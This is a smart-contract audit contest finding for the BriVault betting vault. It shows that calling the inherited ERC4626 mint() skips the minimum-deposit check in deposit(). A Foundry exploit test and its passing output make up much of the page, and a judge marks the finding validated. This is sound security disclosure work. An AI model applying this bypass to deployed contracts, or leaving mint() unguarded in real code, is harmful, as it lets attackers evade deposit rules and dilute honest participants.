BriVault

First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Minimum Deposit Amount Bypass

Vulnerability Report: Minimum Deposit Amount Bypass

Description

The BriVault contract has a critical vulnerability that allows users to deposit amounts below the required minimum. The contract sets a minimum deposit amount to ensure participants have meaningful stakes in the tournament, but this protection only exists in the custom deposit() function. The contract inherits from ERC4626 which provides a mint() function that the contract fails to override. An attacker can simply call mint() instead of deposit() to bypass the minimum amount check entirely. This means someone could participate with just 1 token when the contract requires 100 tokens minimum, completely defeating the purpose of having a minimum stake requirement.

Impact

This vulnerability allows attackers to participate in the betting pool with tiny amounts far below the intended minimum deposit. This breaks the economic model of the vault because the minimum amount exists to ensure all participants have skin in the game and to prevent spam attacks with dust amounts. An attacker could create hundreds of positions with minimal capital, potentially manipulating the share distribution or clogging up the system with worthless positions. Legitimate users who followed the rules and deposited the proper minimum amount are disadvantaged because their percentage of the pool is diluted by these invalid micro-deposits. The integrity of the entire betting system is compromised when the rules can be so easily bypassed.

Exploit POC

Command: forge test --match-test testExploitBypassMinimumAmount -vv

Result:
┌──(m1s0㉿M1S0)-[~/Desktop/Shepherd/2025-11-brivault-main]
└─$ forge test --match-test testExploitBypassMinimumAmount -vv
[⠊] Compiling...
[⠃] Compiling 1 files with Solc 0.8.30
[⠊] Solc 0.8.30 finished in 812.16ms
Compiler run successful!
Ran 1 test for test/Exploit.t.sol:ExploitTest
[PASS] testExploitBypassMinimumAmount() (gas: 149259)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.58ms (196.82µs CPU time)
Ran 1 test suite in 10.67ms (2.58ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Exploit code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {Test} from "forge-std/Test.sol";
import {BriVault} from "../src/briVault.sol";
import {BriTechToken} from "../src/briTechToken.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract ExploitTest is Test {
BriVault public briVault;
BriTechToken public token;
address public owner;
address public attacker;
address public feeCollector;
uint256 public eventStartDate;
uint256 public eventEndDate;
uint256 public participationFeeBsp = 100;
uint256 public minimumAmount = 100 * 1e18;
string[48] public teams;
function setUp() public {
owner = makeAddr("owner");
attacker = makeAddr("attacker");
feeCollector = makeAddr("feeCollector");
eventStartDate = block.timestamp + 1 days;
eventEndDate = block.timestamp + 30 days;
vm.startPrank(owner);
token = new BriTechToken();
token.mint();
briVault = new BriVault(
token,
participationFeeBsp,
eventStartDate,
feeCollector,
minimumAmount,
eventEndDate
);
teams[0] = "Brazil";
teams[1] = "Argentina";
teams[2] = "Germany";
teams[3] = "France";
briVault.setCountry(teams);
vm.stopPrank();
deal(address(token), attacker, 50000 * 1e18);
}
function testExploitBypassMinimumAmount() public {
uint256 belowMinimum = 1 * 1e18;
vm.startPrank(attacker);
token.approve(address(briVault), type(uint256).max);
vm.expectRevert();
briVault.deposit(belowMinimum, attacker);
uint256 attackerBalanceBefore = token.balanceOf(attacker);
uint256 vaultBalanceBefore = token.balanceOf(address(briVault));
briVault.mint(belowMinimum, attacker);
uint256 attackerBalanceAfter = token.balanceOf(attacker);
uint256 vaultBalanceAfter = token.balanceOf(address(briVault));
uint256 attackerShares = briVault.balanceOf(attacker);
uint256 assetsDeposited = attackerBalanceBefore - attackerBalanceAfter;
assertGt(attackerShares, 0);
assertGt(assetsDeposited, 0);
assertGt(vaultBalanceAfter, vaultBalanceBefore);
assertLt(assetsDeposited, minimumAmount);
vm.stopPrank();
}
}
Updates

Appeal created

bube Lead Judge 20 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Unrestricted ERC4626 functions

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!